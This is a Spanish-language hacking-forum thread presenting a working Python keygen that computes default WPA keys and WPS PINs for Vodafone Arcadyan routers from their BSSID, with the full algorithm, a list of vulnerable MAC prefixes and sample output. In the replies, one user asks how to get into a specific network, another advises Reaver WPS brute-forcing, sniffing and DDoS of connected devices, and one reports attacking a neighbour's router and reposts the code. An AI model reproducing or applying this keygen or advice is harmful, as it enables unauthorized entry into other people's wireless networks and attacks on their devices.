VodafoneXXXX && router Arcadyan = 100% vulnerables

[*dudux]

Código [Seleccionar] Expandir


git clone https://bitbucket.org/dudux/vodafonearcadyanspain.git


Más detalle en :
http://ednolo.alumnos.upv.es/?p=1760

Código [Seleccionar] Expandir



Background
Around 2011 some routers manufactured by the company Arcadyan were reverse engineered for the staff of seguridadwireless.net. Such research came out for an user called MrFoffly or something like that. This guy obtained an interesting log from an update of Ya.com, he used an firmware image and applied xor FF in raw mode obtaining the following logs. Many routers could be affected for the same vulnerability in the future if this company keeps using same public and patented algorithms.

[code]##!![E-BOOTPARAM-WRITE] User settings are not stored!!
###[BUILD-WEP] (Z1 Z2 Z3): %1X%1X%1X
##[BUILD-WEP] (x[1] XOR z[2])=(%1X XOR %1X)=%1X
##[BUILD-WEP] (y[2] XOR y[3]) =(%1X XOR %1X)=%1X
#[BUILD-WEP] (x[3]  XOR y[1]) =(%1X XOR %1X)=%1X
####[BUILD-WEP] (x[2]  XOR z[3]) =(%1X XOR %1X)=%1X
####[BUILD-WEP] (w[0] w[1] w[2] w[3]): %1X%1X%1X%1X
####%1X%1X%1X%1X%1X%1X%1X%1X%1X%1X%1X%1X%1X#[BUILD-WEP]: Key:%s
####[BUILD-WEP] K1,2:[%1X,%1X]
#[BUILD-WEP] (K1 XOR S10)=(%1X XOR %1X)=%1X
#[BUILD-WEP] (K1 XOR S9) =(%1X XOR %1X)=%1X
#[BUILD-WEP] (K1 XOR S8) =(%1X XOR %1X)=%1X
#[BUILD-WEP] (X1 X2 X3): %1X%1X%1X
##[BUILD-WEP] (K2 XOR M10)=(%1X XOR %1X)=%1X
#[BUILD-WEP] (K2 XOR M11)=(%1X XOR %1X)=%1X
#[BUILD-WEP] (K2 XOR M12)=(%1X XOR %1X)=%1X
#[BUILD-WEP] (Y1 Y2 Y3): %1X%1X%1X
##[BUILD-WEP] (M11 XOR S10)=(%1X XOR %1X)=%1X
####Boot Parameters NOT found !!!
##Bootcode version: %s
###Serial number: %s
##Hardware version: %s
###%02X%02X%02X%02X%02X%02X####strWlanMacAddr:%s
##WLAN%c%c%c%c%c%c####[BUILD-WEP] S6,7,8,9,10:[%1X,%1X,%1X,%1X,%1X]
##[BUILD-WEP] M7,8,9,10,11,12:[%1X,%1X,%1X,%1X,%1X,%1X]
##!!! Invalid wireless channel range %d ~ %d
#!!! Use default value %d ~ %d
##default route: %d.%d.%d.%d
#ifno:%d  enableOS:%d enableWEP:%d enableSSN:%d
#!!No configuration file present!!
##!!Cleanup configuration in flash memory!!
##%s> flash version:[%s], [%d.%d.%d]
#etcpip_init_config##Jan 18 2008#16:39:45####Set flash memory layout to #BRN-BOOT####Boot Parameters found !!!
##01234567####[BUILD-WEP] (M12 XOR S9) =(%1X XOR %1X)=%1X
####[BUILD-WEP] (K1  XOR K2) =(%1X XOR %1X)=%1X
####!![E-CFG-VER] Reconfiguration required!!


After that,   some of us were a bit stuck but another user, Mambostar, achieved to figure out the algorithm in order to generate 10 possible keys by using the logs as well as the patents [Look at references] . Two years later, some German researchers reverse engineered some Easybox routers finding the same problems. Either using this algorithm or patents as well,  many routers were exposed around all Germany. One year later more or less 2013-2014, and unfortunately, this algorithm has come back to hit some Spanish routers deployed by Vodafone, actually this model ARV752DPW. However really not many of Vodafone's routers have been affected for this vulnerability.

Proof-of-concept
Here you go a proof-of-concept of this vulnerability what I coded due to a small difference in the algorithm. Plenty of code has been reused for previous scripts, please take a look at credits in the code. So far the unique difference  appreciated has been the swapping between zeros by ones at the end of the key generation's algorithm and other stuff very weird like the use of non-hexadecimal characters in the ESSID. If any zero is detected at fifth or sixth byte of the BSSID is automatically transformed into G for the ESSID.

Código [Seleccionar] Expandir


def algorithm(mac):
   '''Sebastian Petters. Changes: Added exceptions and leave out some variables pointless'''
   try:
       bytes = [int(x, 16) for x in mac.split(':')]
       c1 = (bytes[-2] << 8) + bytes[-1]
       (s6, s7, s8, s9, s10) = [int(x) for x in '%05d' % (c1)]
       (m9, m10, m11, m12)   = [int(x, 16) for x in mac.replace(':', '')[8:]]
   except:
       sys.stderr.write("[!] Check your bssid!  Format XX:XX:XX:XX:XX:XX\n")
       sys.exit()

   k1 = ( s7 + s8  + m11 + m12) & (0x0F)
   k2 = ( m9 + m10 + s9  + s10) & (0x0F)      
   x1 = k1  ^ s10
   x2 = k1  ^ s9
   x3 = k1  ^ s8
   y1 = k2  ^ m10
   y2 = k2  ^ m11
   y3 = k2  ^ m12
   z1 = m11 ^ s10
   z2 = m12 ^ s9
   z3 = k1  ^ k2

   wpa = "%X%X%X%X%X%X%X%X%X" % (x1, y1, z1, x2, y2, z2, x3, y3, z3)

   # Spanish modification in this algorithm
   if wpa.find("0") != -1:
       wpa = wpa.replace("0","1")

   return wpa

Any suggestions or feedback is always pretty much appreciated. Also bugs in the code or any enhancement.

Código [Seleccionar] Expandir


$ python vodafoneArcadyanSpain.py -h
usage: vodafoneArcadyanSpain.py [-h] [-b [BSSID]] [-v] [-l]

>>> PoC keygen for WiFi Networks deployed by Vodafone Arcadyan in Spain. So
far only WiFi networks with well-known bssids and essid like VodafoneXXXX are
likely vulnerable. See http://ednolo.alumnos.upv.es/ for more details.
Twitter: @enovella_ and email: ednolo[at]inf.upv.es

optional arguments:
 -h, --help            show this help message and exit
 -v, --version         show program's version number and exit
 -l, --list            List all vulnerable mac address (essid VodafoneXXXX)

required:
 -b [BSSID], --bssid [BSSID]
                       Target mac address

(+) Help: Send me bugs or new targets. Credits buckynet as usual

$ python vodafoneArcadyanSpain.py -l
[+] Possible vulnerable targets:
    bssid: 74:31:70:xx:xx:xx    essid: VodafoneXXXX
    bssid: 84:9C:A6:xx:xx:xx    essid: VodafoneXXXX
    bssid: 88:03:55:xx:xx:xx    essid: VodafoneXXXX
    bssid: 1C:C6:3C:xx:xx:xx    essid: VodafoneXXXX
    bssid: 50:7E:5D:xx:xx:xx    essid: VodafoneXXXX
    bssid: 00:12:BF:xx:xx:xx    essid: VodafoneXXXX

$ python vodafoneArcadyanSpain.py -b 74:31:70:33:00:11
[+] SSID       : VodafoneGG11
[+] BSSID      : 74:31:70:33:00:11
[+] WPA KEY    : 58639129A
[+] WPS PIN    : 75944988





Que alegría ver a *dudux  

https://foro.elhacker.net/hacking_wireless/cuidado_con_los_que_tengais_un_router_vodafone-t406822.0.html
[/code]

[rubencl9]

Hola!!!! Me gustaría que me hecharais una mano porque estoy un poco perdido......
Tengo una wifi
Vodafone706A
Wps pin.48399178
Bssid 72:CB:A8:E2:70:68
Abría alguna forma de entrar en ella?
Muchas gracias por vuestra aportación... un saludo

[Rubenix92]

Hola!!!! Me gustaría que me hecharais una mano porque estoy un poco perdido......
Tengo una wifi
Vodafone706A
Wps pin.48399178
Bssid 72:CB:A8:E2:70:68
Abría alguna forma de entrar en ella?
Muchas gracias por vuestra aportación... un saludo

Si quieres entrar a la RED hazle un ataque REAVER con el WPS PIN
Si quieres conseguir entrar al router, snifa paquetes en la red, y hazle un ataque DDOS a los dispositivos que esten conectado. y seguro que te sacas el user y pass si lo han cambiado por defecto

[Kaxperday]

Hey gracias por el tema.

Lo primero yo tengo cerca un router: vodafone9E39, y era vulnerable a WPS por lo que comence a usar el reaver para obtener el pin, pero pasadas unas horas dejó de funcionar porque rechazaba los nuevos pins tras X intentos fallidos, así que me quedé sin router.

Pero al leer este tema, me ha vuelto la alegría XD.

El link no funciona, ¿alguien puede pasar el programa con el código fuente?, así podré comprobar si funciona.

Edito: No me funcionó con ningún vodafoneXXXX, no sabñia que era un post viejo, os dejo el código por si alguien quiere probarlo:

Código (python) [Seleccionar] Expandir

mac="XX:XX:XX:XX:XX:XX"

try:
bytes = [int(x, 16) for x in mac.split(':')]
c1 = (bytes[-2] << 8) + bytes[-1]
(s6, s7, s8, s9, s10) = [int(x) for x in '%05d' % (c1)]
(m9, m10, m11, m12)   = [int(x, 16) for x in mac.replace(':', '')[8:]]
except:
sys.stderr.write("[!] Check your bssid!  Format XX:XX:XX:XX:XX:XX\n")
sys.exit()

k1 = ( s7 + s8  + m11 + m12) & (0x0F)
k2 = ( m9 + m10 + s9  + s10) & (0x0F)       
x1 = k1  ^ s10
x2 = k1  ^ s9
x3 = k1  ^ s8
y1 = k2  ^ m10
y2 = k2  ^ m11
y3 = k2  ^ m12
z1 = m11 ^ s10
z2 = m12 ^ s9
z3 = k1  ^ k2

wpa = "%X%X%X%X%X%X%X%X%X" % (x1, y1, z1, x2, y2, z2, x3, y3, z3)

# Spanish modification in this algorithm
if wpa.find("0") != -1:
wpa = wpa.replace("0","1")

print wpa

Saludos.

[scott_]

Muy buen tutorial, ya extrañaba estos tutoriales

Gracias y Saludos.

[Gödric]

Alguien puede explicarme la función de la variante s6?
No consigo entenderla
Gracias